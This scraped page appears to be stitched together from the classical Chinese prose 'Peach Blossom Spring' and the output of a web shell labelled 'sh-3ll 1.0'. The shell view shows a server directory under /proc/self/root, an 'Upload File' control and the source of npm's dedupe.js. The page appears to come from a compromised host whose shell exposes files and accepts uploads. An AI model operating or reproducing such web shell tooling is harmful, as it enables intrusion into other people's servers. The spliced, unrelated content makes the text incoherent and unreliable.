晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 sh-3ll

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sh-3ll 1.0
DIR:/proc/self/root/opt/alt/alt-nodejs20/root/lib/node_modules/npm/lib/commands/
Upload File :
Current File : //proc/self/root/opt/alt/alt-nodejs20/root/lib/node_modules/npm/lib/commands/dedupe.js
const reifyFinish = require('../utils/reify-finish.js')
const ArboristWorkspaceCmd = require('../arborist-cmd.js')

// dedupe duplicated packages, or find them in the tree
class Dedupe extends ArboristWorkspaceCmd {
  static description = 'Reduce duplication in the package tree'
  static name = 'dedupe'
  static params = [
    'install-strategy',
    'legacy-bundling',
    'global-style',
    'strict-peer-deps',
    'package-lock',
    'omit',
    'include',
    'ignore-scripts',
    'audit',
    'bin-links',
    'fund',
    'dry-run',
    ...super.params,
  ]

  async exec () {
    if (this.npm.global) {
      const er = new Error('`npm dedupe` does not work in global mode.')
      er.code = 'EDEDUPEGLOBAL'
      throw er
    }

    const dryRun = this.npm.config.get('dry-run')
    const where = this.npm.prefix
    const Arborist = require('@npmcli/arborist')
    const opts = {
      ...this.npm.flatOptions,
      path: where,
      dryRun,
      // Saving during dedupe would only update if one of your direct
      // dependencies was also duplicated somewhere in your tree. It would be
      // confusing if running this were to also update your package.json.  In
      // order to reduce potential confusion we set this to false.
      save: false,
      workspaces: this.workspaceNames,
    }
    const arb = new Arborist(opts)
    await arb.dedupe(opts)
    await reifyFinish(this.npm, arb)
  }
}

module.exports = Dedupe